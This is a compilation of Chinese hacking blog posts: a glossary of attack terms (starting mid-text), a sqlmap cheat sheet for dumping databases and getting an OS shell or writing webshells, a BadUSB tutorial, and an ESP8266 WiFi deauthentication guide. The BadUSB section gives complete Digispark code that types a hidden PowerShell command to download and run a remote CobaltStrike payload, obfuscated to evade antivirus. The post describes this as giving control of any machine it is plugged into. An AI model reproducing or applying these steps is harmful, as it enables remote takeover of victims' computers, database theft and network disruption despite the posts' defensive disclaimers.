据被精心的策划构造的话，可能会被黑客去执行任意命令.打个比喻来说，windows系统是一个人，会一杯一杯喝我们给它准备的水，其中有一个杯子太小了，我们倒入了大量的水它就会溢出到别的杯子里去，而溢出到别的杯子里的东西我们事先可以设计好，而系统并不知道，这以为这本来就是那个杯子里的东西，于是我们可以完成一定的任务.39、端口要网络上，知道一台电脑的ip地址，只是相当于知道了它的居住地址，要和它进行通信，我们还要知道它开了哪些端口，比如说我们到一家医院，挂号要到1号窗口，划价要到2号窗口，取药要到3号窗口.那么与计算机的通信也是一样的，要上qq，你得登陆到腾讯服务器的8000端口，要浏览x档案的论坛，你得与其80端口进行联系，要ftp登陆空间，传输文件，我们又得服务器的21端口连接了.可以说，端口就是一种数据的传输通道，用于接收某些数据，然后传给相应的服务，而电脑将这些数据处理后，再将相应的回复通过端口传给对方.40、ip地址inter上的电脑有许多，为了让他们能够相互识别，inter上的每一台主机都分配有一个唯一的32位地址，该地址称为ip地址，也称作网际地址，ip地址由4个数值部分组成，每个数值部分可取值0-255，各部分之间用一个‘.‘分开.41、ARP地址解析协议(AddressResolutionProtocol)，此协议将网络地址映射到硬件地址。42、RARP反向地址解析协议(ReverseAddressResolutionProtocol)，此协议将硬件地址映射到网络地址43、UDP用户数据报协议(UserDatagramProtocol)，这是提供给用户进程的无连接协议，用于传送数据而不执行正确性检查。44、FTP文件传输协议(FileTransferProtocol)，允许用户以文件操作的方式（文件的增、删、改、查、传送等）与另一主机相互通信。45、SMTP简单邮件传送协议(SimpleMailTransferProtocol)，SMTP协议为系统之间传送电子邮件。46、TELNET终端协议(TelTerminalProcotol)，允许用户以虚终端方式访问远程主机47、HTTP超文本传输协议(HypertextTransferProcotol)48、TFTP简单文件传输协议(TrivialFileTransferProtocol)49、ShellShell就是系统于用户的交换式界面。简单来说，就是系统与用户的一个沟通环境，我们平时用到的DOS就是一个Shell(Win2K或cmd.exe)。50、RootUnix里最高权限的用户，也就是超级管理员。51、AdminWindowsNT/2K/XP里最高权限的用户，也就是超级管理员。52、Rootshell通过一个溢出程序，在主机溢出一个具有Root权限的Shell。53、Exploit溢出程序。Exploit里通常包含一些Shellcode。54、Shellcode溢出攻击要调用的函数，溢出后要一个交换式界面进行操作。所以说就有了Shellcode。55、AccesControllist(ACL)访问控制列表。56、AddressResolutionProtocol(ARP)地址解析协议。57、Administratoraccount管理员帐号。58、ARPANET阿帕网(Inter的简称)。59、accesstoken访问令牌。60、adaptivespeedleveling自适应速度等级调整。62、algorithm算法alias别名。62、anlpasswd一种与PASSWD+相似的代理密码检查器。63、applicatlons应用程序异步传递模式。64、accoutlockout帐号封锁。65、accoutpolicies记帐策略。66、accounts帐号。67、adapter适配器。68、上传漏洞这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。69、webshell：其实WEBSHELL并不什么深奥的东西，是个WEB的权限，可以管理WEB，修改主页内容等权限，但是并没有什么特别高的权限，(这个看管理员的设置了)一般修改别人主页大多都需要这个权限，接触过WEB木马的朋友可能知道（比如老兵的站长助手就是WEB木马，海阳2006也是WEB木马）。我们上传漏洞最终传的就是这个东西，有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。70、暴库这个漏洞现在很少见了，但是还有许多站点有这个漏洞可以利用，暴库就是提交字符得到数据库文件，得到了数据库文件我们就直接有了站点的前台或者后台的权限了。71、注入漏洞这个漏洞是现在应用最广泛，杀伤力也很大的漏洞，可以说微软的官方网站也存在着注入漏洞。注入漏洞是因为字符过滤不严禁所造成的，可以得到管理员的帐号密码等相关资料。72、旁注我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们要入侵的站点。打个形象的比喻，比如你和我一个楼，我家很安全，而你家呢，却漏洞百出，现在有个贼想入侵我家，他对我家做了监视（也就是扫描），发现没有什么可以利用的东西，那么这个贼发现你家和我家一个楼，你家很容易就进去了，他可以先进入你家，然后通过你家得到整个楼的钥匙（系统权限），这样就自然得到我的钥匙了，就可以进入我的家（网站）。工具介绍：还是名小子的DOMIAN3.5不错的东西，可以检测注入，可以旁注，还可以上传!73、COOKIE诈骗许多人不知道什么是COOKIE，COOKIE是你上网时由网站所为你发送的值记录了你的一些资料，比如IP，姓名什么的。怎样诈骗呢？如果我们现在已经知道了XX站管理员的站号和MD5密码了，但是破解不出来密码（MD5是加密后的一个16位的密码）。我们就可以用COOKIE诈骗来实现，把自己的ID修 改成管理员的，MD5密码也修改成他的，有工具可以修改COOKIE这样就答到了COOKIE诈骗的目的，系统以为你就是管理员了。74、时间戳“时间戳”是个听起来有些玄乎但实际上相当通俗易懂的名词，我们查看系统中的文件属性，其中显示的创建、修改、访问时间就是该文件的时间戳。对于大多数一般用户而言，通过修改“时间戳”也许只是为了方便管理文件等原因而掩饰文件操作记录。但对于应用数字时间戳技术的用户就并非这么“简单”了，这里的“时间戳”（time-stamp）是一个经加密后形成的凭证文档，是数字签名技术的一种变种应用。在电子商务交易文件中，利用数字时间戳服务（DTS：digita1timestampservice）能够对提供电子文件的日期和时间信息进行安全保护，以防止被商业对手等有不良企图的人伪造和串改的关键性内容。75、MySQL数据库我们在黑客文章中常会看到针对“MySQL数据库”的攻击，但很多朋友却对其不大了解。“MySQL数据库”之所以应用范围如此广泛，是由于它是一款免费的开放源代码的多用户、多线程的跨平台关系型数据库系统，也可称得上是目前运行速度最快的SQL语言数据库。“MySQL数据库”提供了面向C、C++、Java等编程语言的编程接口，尤其是它与PHP的组合更是黄金搭档。“MySQL数据库”采用的是客户机/服务器结构的形式，它由一个服务器守护程序Mysqld和很多不同的客户程序和库组成。但若是配置不当，“MySQL数据库”就可能会受到攻击，例如若是设置本地用户拥有对库文件读权限，那么入侵者只要获取“MySQL数据库”的目录，将其复制本机数据目录下就能访问进而窃取数据库内容。76、MD5验证MD5（全称是message-digestalgorithm5）的作用是让大容量信息在用数字签名软件签署私人密匙前被“压缩”为一种保密的格式。它的典型应用是对一段信息（message）产生信息摘要（message-digest），以防止被篡改。通俗地说MD5码就是个验证码，就像我们的个人身份证一样，每个人的都是不一样的。MD5码是每个文件的唯一校验码（MD5不区分大小写，但由于MD5码有128位之多，所以任意信息之间具有相同MD5码的可能性非常之低，通常被认为是不可能的），凭借此特性常被用于密码的加密存储、数字签名及文件完整性验证等功能。通过MD5验证即可检查文件的正确性，例如可以校验出下载文件中是否被捆绑有其它第三方软件或木马、后门（若是校验结果不正确就说明原文件已被人擅自串改）。77、ICMP协议ICMP（全称是InterControlMessageProtocol，即Inter控制消息协议）用于在IP主机、路由器之间传递控制消息，包括网络通不通、主机是否可达、路由是否可用等网络本身的消息。例如，我们在检测网络通不通时常会使用Ping命令，Ping执行操作的过程就是ICMP协议工作的过程。“ICMP协议”对于网络安全有着极其重要的意义，其本身的特性决定了它非常容易被用于攻击网络上的路由器和主机。例如，曾经轰动一时的海信主页被黑事件就是以ICMP攻击为主的。由于操作系统规定ICMP数据包最大尺寸不超过64KB，因而如果向目标主机发送超过64KB上限的数据包，该主机就会出现内存分配错误，进而导致系统耗费大量的资源处理，疲于奔命，最终瘫痪、死机。78、WAP攻击黑客们在网络上疯狂肆虐之后，又将“触角”伸向了WAP（无线应用协议的英文简写），继而WAP成为了他们的又一个攻击目标。“WAP攻击”主要是指攻击WAP服务器，使启用了WAP服务的手机无法接收正常信息。由于目前WAP无线网络的安全机制并非相当严密，因而这一领域将受到越来越多黑客的“染指”。现在，我们使用的手机绝大部分都已支持WAP上网，而手机的WAP功能则需要专门的WAP服务器来支持，若是黑客们发现了WAP服务器的安全漏洞，就可以编制出针对该WAP服务器的病毒，并对其进行攻击，从而影响到WAP服务器的正常工作，使WAP手机无法接收到正常的网络信息。79、ICMP协议ICMP（全称是InterControlMessageProtocol，即Inter控制消息协议）用于在IP主机、路由器之间传递控制消息，包括网络通不通、主机是否可达、路由是否可用等网络本身的消息。例如，我们在检测网络通不通时常会使用Ping命令，Ping执行操作的过程就是ICMP协议工作的过程。“ICMP协议”对于网络安全有着极其重要的意义，其本身的特性决定了它非常容易被用于攻击网络上的路由器和主机。由于操作系统规定ICMP数据包最大尺寸不超过64KB，因而如果向目标主机发送超过64KB上限的数据包，该主机就会出现内存分配错误。80、拖库、洗库、撞库在黑客术语里面，”拖库“是指黑客入侵有价值的网络站点，把注册用户的资料数据库全部盗走的行为，因为谐音，也经常被称作“脱裤”。在取得大量的用户数据之后，黑客会通过一系列的技术手段和黑色产业链将有价值的用户数据变现，这通常也被称作“洗库”。最后黑客将得到的数据在其它网站上进行尝试登陆，叫做“撞库”。81、漏洞类型跨站脚本攻击 (Cross Site Scripting, XSS)跨站请求伪造 (Cross-Site Request Forgery, CSRF)中间人攻击 (Man-in-the-middle, MITM)服务端请求伪造 (Server Side Request Forgery, SSRF)高级持续威胁 (Advanced Persistent Threat, APT)82、 网络协议轻型目录访问协议 (Lightweight Directory Access Protocol, LDAP)SMB (Server Message Block)SMTP (Simple Mail Transfer Protocol)简单网络管理协议 (Simple Network Management Protocol, SNMP)POP3 (Post Office Protocol 3)IMAP (Internet Mail Access Protocol)HTTP (HyperText Transfer Protocol)HTTPS (HyperText Transfer Protocol over Secure Socket Layer)动态主机配置协议 (Dynamic Host Configuration Protocol, DHCP)RPC (Remote Procedure Call)Java调试线协议 (Java Debug Wire Protocol, JDWP)NFS (Network File System)服务主体名称 (Service Principal Names, SPN)82、认证双因素认证 (Two-Factor Authentication, 2FA)多因素认证 (Multi-Factor Authentication, MFA)一次性密码 (One-Time Password, OTP)83、防御相关网络检测响应 (Network-based Detection and Response, NDR)终端检测响应 (Endpoint Detection and Response, EDR)托管检测响应 (Managed Detection and Response, MDR)扩展检测响应 (Extended Detection and Response, XDR)自适应安全架构 (Adaptive Security Architecture, ASA)零信任网络访问 (Zero Trust Network Access, ZTNA)云安全配置管理 (Cloud Security Posture Management, CSPM)入侵检测系统 (Intrusion Detection System, IDS)主机型入侵检测系统 (Host-based Intrusion Detection System, HIDS)RASP (Runtime Application Self-protection)统一端点管理 (Unified Endpoint Management, UEM)84、开发相关REST (Representation State Transformation)持续集成 (Continuous Integration, CI)持续交付 (Continuous Deployment, CD)函数即服务 (Function as a Service, FaaS)容器即服务 (Container as a Service, CaaS)软件即服务 (Software as a Service, SaaS)平台即服务 (Platform as a Service, PaaS)基础设施即服务 (Insfrastructure as a Service, IaaS)85、Nat网络地址转换,用来将 内网地址和端口号转换成合法的公网地址和端口号，建立一个会话，与公网主机进行通信。完美地解决了lP地址不足的问题，NAT不仅实现地址转换，同时还起到防火墙的作用，隐藏内部网络的拓扑结构，有效地避免来自网络外部的攻击,因为对于外部主机来说，内部主机是不可见的,NAT 之内的 PC 联机到 Internet 上面时，他所显示的 IP 是 NAT 主机的公共 IP。未完，不断更新中！
环境：python 工具下载地址：sqlmap.orgSqlMap是我们常用的一款sql注入漏洞检测工具，为了方便大家平时的使用，在此分享一下我总结的一下命令。目录结构：extra：额外功能lib:连接库，注入参数，提权操作tamper：绕过脚本thirdparty：第三方插件txt：字典，例如浏览器代理，表，列，关键字udf：自定义攻击载荷waf：常见防火墙特征--identify-waf常用命令：1.注入检测方式：get方式：sqlmap.py -u "URL" post方式：sqlmap.py -u "URL" -date "post数据" cookie方式：sqlmap.py -u "URL" -cookie "cookie数据"2.获取数据库信息获取数据库类型以及版本：sqlmap.py -u "URL" 获取网站使用的数据库名和用户名：sqlmap.py -u "URL" --current-db sqlmap.py -u "URL" --current-user3.获取数据量和用户权限获取数据库的数据量：sqlmap.py -u "URL" --count -D "数据库名" 判断用户权限：sqlmap.py -u "URL" --privileges4.Mysql注入Mysql结构：库-表-列-数据（字段内容）注入顺序：首先获取当前库名：sqlmap.py -u "URL" --current-db 其次获取库中表名：sqlmap.py -u "URL" --tables -D "数据库名" 然后获取库中某个表的列名：sqlmap.py -u "URL" --columns -T "表名" -D "库名" 最后获取库中某个表名的某个列名的字段内容：sqlmap.py -u "URL" --dump -C "列名" -T "表名" -D "库名"5.管理数据库连接数据库：sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名"（需安装pymysql：https://girhub/pymysql/pymysql） 执行sql命令：sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" --sqlshell6.延时注入针对页面无变化，无法用布尔真假判断，无法报错的情况下注入。sqlmap.py -u "URL" --delay 数字值（秒为单位） sqlmap.py -u "URL" -safe-freq7.交互式命令执行和写Webshell命令执行：sqlmap.py -u "URL" --os-cmd="命令" Webshell:sqlmap.py -u "URL" --os-shell8.Tamper脚本sqlmap.py -u "URL" --tamper="脚本名字"9.本地写入Webshellsqlmap.py -u "URL" --file-write "本地文件路径" --file-dest "目标文件路径"10.批量检测注入漏洞sqlmap.py -m 本地文件路径 结合BurpSuite：sqlmap.py -l 本地文件路径 --batch -smart//batch:自动选择yes，smart：启发式快速判断--proxy="http://ip:8080" //浏览器代理 --level=(1-5) //测试水平等级 --risk=(0-3) //风险等级未完，不断更新中!
Badusb原理及制作并简单免杀实现远控教程
2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后，国内与badusb相关的文章虽然有了一些，但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉，badusb仍有一层朦胧的面纱。本文将带你揭开这层神秘的面纱。Badusb原理：利用HID(Human InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等)进行攻击，将USB设备伪装使电脑识别为键盘，再利用USB设备中的微控制芯片，向主机发送命令，从而实现完全控制主机。漏洞产生原因：现在的USB设备很多，比如音视频设备、摄像头等，因此要求系统提供最大的兼容性，甚至免驱；所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证，而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件，伪装成一个USB键盘，并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。硬件材料：Digispark （Attiny85）开发板（我用到的是经典版的橡皮鸭rubber ducky）一台电脑步骤：1.首先我们安装CobaltStrike，这里需要用到一台有公网ip的服务器，生成ps1文件格式Powershell可执行的程序（具体安装和生Payload过程不再赘述，请自行百度，这边我用到的是CobaltStrike4.0）。2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀，生成面杀版ps1脚本文件，并上传到自己的web服务器备用，Github地址：https://github.com/danielbohannon/Invoke-Obfuscation（免杀过程在这里不赘述了，请自行查看Invoke-Obfuscation的README.md）。3.安装Digispark （Attiny85）开发板驱动。4.安装并打开Arduino软件，点击文件中的首选项，附加开发板管理器网址填入：https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json5.点击工具中的开发板中的开发板管理器，等待下载索引完成（下载不成功请使用海外代理），搜索并安装“Digistump AVR Boards by Digistump”，安装完成后在开发板中选择Digispark（Default-16.5mhz）。7.将以下代码填入Arduino代码框中，以实现伪造键盘输出win+r打开运行窗口并执行Powershell命令。#include "DigiKeyboard.h" #define KEY_ESC 41 #define KEY_BACKSPACE 42 #define KEY_TAB 43 #define KEY_PRT_SCR 70 #define KEY_DELETE 76 void setup() { DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://web.com/tianle.ps1');")); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(750); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() { }8.将代码上传到开发板中，需在60s内插入badusb，等待烧录完成即可。9.Badusb制作完成，插谁谁上线，这里仅展示几张成功上线的图片，屏幕截图，vnc，文件获取等CobaltStrike工具远控操作不作展示。防御措施：1.不插陌生的USB设备。2.使用360的SecUSB或者腾讯的SecLine。注：我展示如何攻击的目的是为了让大家知道这个漏洞，了解并认识到网络安全的重要性，更好的进行防御，而不是以此为武器去伤害别人。
利用ESP8266制作wifi杀手并进行攻击-漏洞产生原因及防御措施
准备工作：一块ESP8266模块一条MicroUSB数据线（非miniUSB，一定要能传数据，确认不是过电线）一台电脑步骤：1.首先将开发板安装驱动，选择不同的驱动进行安装，一般板上都有写类型，安装好如图所示（我的型号是CH340）：2.打开烧录工具，选择对应的COM串口。3.点击Comfig选项，单击齿轮选择你固件所在的路径。4.返回Operation选项，点击Flash（F）按钮，等待一段时间，当左下角出现绿色对勾√说明烧录成功。5.长按开发板上的 rst 重启键，当模块灯闪动，松手 ，发现出现WI-PWN就说明模块已经开始正常工作了。6.连接此WIFI后，浏览器输入192.168.4.1，完成基础设置后即可进入ESP8266管理页面。7.然后就可以选择对应wifi进行攻击（攻击时模块上灯会常亮）。8.攻击方式：（1）Deauth：因为WIFI管理数据帧没有被加密，导致攻击者可以伪造管理帧，从而让攻击者可以任意发送“取消认证”数据包来强行切断AP与客户端的连接（说白点就是无脑洪水堵塞攻击，一直切断对方设备与机器的连接，从而导致对方设备无法正常连接）。（2）Beacon：信标帧(Beacon)数据包用于宣告接入点，通过不断发送信标帧数据包（说白点就是创建许多新的wifi干扰对方的正常连接），由于目前部分设备自带SSID检测，所以我们使用随机生成SSID以达到目的。（3）Probe-response：探测请求帧由用户设备发送，以询问一个已知网络是否在附近。通过请求您在SSID列表中指定的网络，以此来混淆WiFi跟踪器。（说白点就是手机给已知WiFi网络发送一个probe-request帧，可提供网络服务的接入点将响应一个probe-response帧，你的手机将会跟这个响应接入点进行连接，所以看起来跟Deauth攻击差不多）。（4）钓鱼攻击：通过伪造wifi使受害者连接假冒wifi，通过钓鱼页面等一系列手法可以实现监听流量，获取原真实wifi密码等等，在这里不多赘述和展示了。漏洞产生原因：802.11 WiFi标准包含一种专门针对网络和连接管理的特殊帧类型，查找wifi时，被动监听WiFi热点所广播出来的“beacon”管理帧(用来表明该热点可用)，而“probe-request”，你的设备会发送这种管理帧来查看之前连接过的网络当前是否在周围。如果距离内存在已访问过的网络，相应的热点将会用“probe-response”帧予以响应，这些管理帧存在的问题就是，它们完全没有经过任何的加密，这样做的目的是为了增加WiFi的易用性，因为你完全不需要进行任何的密钥交换或密码确认就可以查看到周围的WiFi网络以及热点名称，但这也增加了WiFi网络的攻击面：任何设备都可以给任何网络发送beacon帧和probe-response帧。防御措施：1.将进行wifi攻击的抓到打一顿，一顿不行就继续打（开个玩笑）。2.将路由器设置发射信道使用5Ghz频段。3.使用网线连接（手动滑稽）。4.购买有安全防护功能的大牌路由器。5.使用802.11w-2009更新标准，默认情况下对管理帧进行加密。注：我展示如何攻击的目的是为了让大家知道这个漏洞，了解并认识到网络安全的重要性，更好的进行防御，而不是以此为武器去伤害别人。